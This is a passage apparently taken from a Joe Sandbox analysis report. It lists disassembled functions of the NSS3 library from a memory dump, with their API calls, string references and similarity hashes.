Part of subcall function 6C625B40: PR_GetIdentitiesLayer.NSS3 ref: 6C625B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622CEC

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_EnterMonitor.NSS3(?), ref: 6C622D02
PR_EnterMonitor.NSS3(?), ref: 6C622D1F
PR_ExitMonitor.NSS3(?), ref: 6C622D42
PR_ExitMonitor.NSS3(?), ref: 6C622D5B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 30a8b5878c710e6f7f9cf9683f27bf9ab6c5ff8f94be8bfedbd3b666279508b4
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9E01A5F5A102005BE7309E25FC40AD7B7A1EF4632CF504925E85D86710D736E9258A9A

Function 6C622D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C625B40: PR_GetIdentitiesLayer.NSS3 ref: 6C625B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622D9C

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_EnterMonitor.NSS3(?), ref: 6C622DB2
PR_EnterMonitor.NSS3(?), ref: 6C622DCF
PR_ExitMonitor.NSS3(?), ref: 6C622DF2
PR_ExitMonitor.NSS3(?), ref: 6C622E0B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 01b674bd0db0eb3100dcea86ae916b4e93f04be5da48f7c8479338cf1a3a1d40
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: D001A5B59102005BEB309E25FC01BC7B7A1EF4232CF500935E89D86B10D736E8268A9E

Function 6C5BAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C5A3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5BAE42), ref: 6C5A30AA
Part of subcall function 6C5A3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A30C7
Part of subcall function 6C5A3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5A30E5
Part of subcall function 6C5A3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5A3116
Part of subcall function 6C5A3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A312B
Part of subcall function 6C5A3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5A3154
Part of subcall function 6C5A3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C5999FF,?,?,?,?,?,?,?,?,?,6C592D6B,?), ref: 6C5BAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C5999FF,?,?,?,?,?,?,?,?,?,6C592D6B,?), ref: 6C5BAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C592D6B,?,?,00000000), ref: 6C5BAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C592D6B,?,?,00000000), ref: 6C5BAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C592D6B,?,?), ref: 6C5BAEA3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 469d6d53077765fd05efe1fe7d2546cd65ecbd5b5142c2791fe542e90e4ca361
Instruction ID: 3232dbc979bf4490f84aa7a18e42978802e9769ea581def562129b3af98d476d
Opcode Fuzzy Hash: 469d6d53077765fd05efe1fe7d2546cd65ecbd5b5142c2791fe542e90e4ca361
Instruction Fuzzy Hash: 1501A476B0501097E702916DECA5AAF39588BC765CF080431F909EBB01FA35DD0A42E3

Function 6C6ABDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C6A7AFE,?,?,?,?,?,?,?,?,6C6A798A), ref: 6C6ABDC3
free.MOZGLUE(?,?,6C6A7AFE,?,?,?,?,?,?,?,?,6C6A798A), ref: 6C6ABDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6A7AFE,?,?,?,?,?,?,?,?,6C6A798A), ref: 6C6ABDE9
free.MOZGLUE(?,00000000,00000000,?,6C6A7AFE,?,?,?,?,?,?,?,?,6C6A798A), ref: 6C6ABE21
free.MOZGLUE(00000000,00000000,?,6C6A7AFE,?,?,?,?,?,?,?,?,6C6A798A), ref: 6C6ABE32

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: b32abd5b517c0207f05c3a7e9d7be8dbf36d6de2d3f526401253d087ac946551
Instruction ID: 3094795fbf9dd82d105195e1b008940fa08197ee84685690b35b4d86117fecba
Opcode Fuzzy Hash: b32abd5b517c0207f05c3a7e9d7be8dbf36d6de2d3f526401253d087ac946551
Instruction Fuzzy Hash: E2111CB6B052959FDF40DF6AE889B023BF6BB4A354F040069D52AC7710D7319825CF9D

Function 6C6A7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C6A7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A7C83
malloc.MOZGLUE(00000001), ref: 6C6A7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6A7C9F
PR_GetCurrentThread.NSS3 ref: 6C6A7CAD

Part of subcall function 6C659BF0: TlsGetValue.KERNEL32(?,?,?,6C6A0A75), ref: 6C659C07

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 35594553d4105ca0abb72c6bee91509a948d9d7ea1f5cd685f6fd5a9399df6ec
Instruction ID: 53bded1453f87a5eabf8d8402d198a0de3ad41463b31d4fe6675de63776efc4d
Opcode Fuzzy Hash: 35594553d4105ca0abb72c6bee91509a948d9d7ea1f5cd685f6fd5a9399df6ec
Instruction Fuzzy Hash: E0F0C2F19102167FEB009FBA9C099477B58EF15369B118536EC0AC3B00E735E926CAED

Function 6C6AADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C6AA6D8), ref: 6C6AAE0D
free.MOZGLUE(?), ref: 6C6AAE14
DeleteCriticalSection.KERNEL32(6C6AA6D8), ref: 6C6AAE36
free.MOZGLUE(?), ref: 6C6AAE3D
free.MOZGLUE(00000000,00000000,?,?,6C6AA6D8), ref: 6C6AAE47

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 83f99a049a4765bc693f5fd14d7caadf03f5209f521b4b24f2d0e0be679def67
Instruction ID: c37011db2a0ac440cb08baa53f1b40bb86e9b026f8f7b5486c4514a8317cb04d
Opcode Fuzzy Hash: 83f99a049a4765bc693f5fd14d7caadf03f5209f521b4b24f2d0e0be679def67
Instruction Fuzzy Hash: A9F0FC7610160277CB00AFA9E4489177B78BF49774B10032AE13B83941D732E417DBD9

Function 6C52BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C6CAAF9,?), ref: 6C52BE37

Strings

Pjl, xrefs: 6C52BED4
jl, xrefs: 6C52BDD7
winFileSize, xrefs: 6C52BF07

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: jl$Pjl$winFileSize
API String ID: 4246442610-2357095880
Opcode ID: fc27842c98108d9d26360946b5968f13e204f1ebb812fb74005a5376aeba9614
Instruction ID: 47c7d97c631eb4a6fcb2e6d1854d1c93d9138417b440d7561cef876334ad6f9f
Opcode Fuzzy Hash: fc27842c98108d9d26360946b5968f13e204f1ebb812fb74005a5376aeba9614
Instruction Fuzzy Hash: 42619F71A04A05DFDB04DF29C890BA9B7F1FF8A314F044AA9D8168BB84D738E855CBD5

Function 6C537C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C537D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C537D13, 6C537D1F, 6C537D47, 6C537D53, 6C537D5F
%s at line %d of [%.10s], xrefs: 6C537D2E
database corruption, xrefs: 6C537D29

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 4199aa9434c98d03dfff2c4b5298c8e86d3cf72f79e7c46f9b7d010930f18d0b
Instruction ID: 82fac50945a5d13b8e80651a8bce5903134cc9056b503e1d3fe2f9b88d2dcc24
Opcode Fuzzy Hash: 4199aa9434c98d03dfff2c4b5298c8e86d3cf72f79e7c46f9b7d010930f18d0b
Instruction Fuzzy Hash: 9A311631E04239D7C711CF9DCD809B9B7E1EF88349B591596E448BBB85E270E841CBA5

Function 6C526C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C526D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C526D20
%s at line %d of [%.10s], xrefs: 6C526D2F
database corruption, xrefs: 6C526D2A

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 5b0da8cdf558b9f13b6ed815613741ae8abb40c3020f78150182894514906235
Instruction ID: c0b85041e93d64e535ba60e530f3080b051d78c50ff807f5e2a5dabab84e4ad1
Opcode Fuzzy Hash: 5b0da8cdf558b9f13b6ed815613741ae8abb40c3020f78150182894514906235
Instruction Fuzzy Hash: F2210070604309DBC710CE1ACC41B5AB7F6AF84318F648A2DD8499BF91EB75F949CB92

Function 6C602FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+`l,6C6032C2,<+`l,00000000,00000000,?), ref: 6C602FDA

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C60300B

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C60302A

Part of subcall function 6C5F0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F08B4

Part of subcall function 6C5DC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C5DC45D
Part of subcall function 6C5DC3D0: TlsGetValue.KERNEL32 ref: 6C5DC494
Part of subcall function 6C5DC3D0: EnterCriticalSection.KERNEL32(?), ref: 6C5DC4A9
Part of subcall function 6C5DC3D0: PR_Unlock.NSS3(?), ref: 6C5DC4F4

Strings

<+`l, xrefs: 6C602FD0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+`l
API String ID: 2538134263-2388162512
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: b76fd5fc6bc330bf63168006057bbcb5e16fe62e09fd686c12845b82b155a61c
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 581127B6B01204ABDB048E64DC00A9B77D99BC036CF184134E81DD7780E732ED06CBA1

Function 6C65CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C65CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C65CC7B), ref: 6C65CD7A
Part of subcall function 6C65CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C65CD8E
Part of subcall function 6C65CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C65CDA5
Part of subcall function 6C65CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C65CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C65CCB5
memcpy.VCRUNTIME140(6C6F14F4,6C6F02AC,00000090), ref: 6C65CCD3
memcpy.VCRUNTIME140(6C6F1588,6C6F02AC,00000090), ref: 6C65CD2B

Part of subcall function 6C579AC0: socket.WSOCK32(?,00000017,6C5799BE), ref: 6C579AE6
Part of subcall function 6C579AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5799BE), ref: 6C579AFC

Part of subcall function 6C580590: closesocket.WSOCK32(6C579A8F,?,?,6C579A8F,00000000), ref: 6C580597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C65CCB0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 6d2b6a283efb50d6414e25a428b789ada1c12839d9a54ca7ac57dd9f95c8e99f
Instruction ID: 98dadf72b30e4bdcdd930b5e1c0ab44e22d1cf221224657eba9ee7d8db0b340f
Opcode Fuzzy Hash: 6d2b6a283efb50d6414e25a428b789ada1c12839d9a54ca7ac57dd9f95c8e99f
Instruction Fuzzy Hash: D81175F1B042405EDB019F9BAC8674637AA9796398F141025E52ACBB41E771CC168BED

Function 6C527F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5281DF
LeaveCriticalSection.KERNEL32(?), ref: 6C528239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C528255
sqlite3_free.NSS3(00000000), ref: 6C528260

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 171ebe0d069b1447f49b3a94c157e4b22c929128e9761ead8f5a8568ed0d4710
Instruction ID: 19369ad8287bb03e3ec33d5ede0683f49c4467dbca81009196d7c2c0f39cabfa
Opcode Fuzzy Hash: 171ebe0d069b1447f49b3a94c157e4b22c929128e9761ead8f5a8568ed0d4710
Instruction Fuzzy Hash: 8591C272A05208CFEF04DFE6ED887ADB7F2BF06304F14012AD4169BA84D7795955CB8A

Function 6C601D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C601D8F

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C601DA6

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C601E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C601ED0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: df5ff04ef3fd5e12e09a8797aab96b524c50cdffd1601e06ee3b5a2f1a702c54
Instruction ID: 4c4ccfae13e017f373e22987e2c19f0d1f5a79b039cbdee952dd54485d9113b4
Opcode Fuzzy Hash: df5ff04ef3fd5e12e09a8797aab96b524c50cdffd1601e06ee3b5a2f1a702c54
Instruction Fuzzy Hash: 32517A71A00309CFDB08CF98D984BAEB7B6BF89308F144129E819AB750D771E946CB84

Function 6C654FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

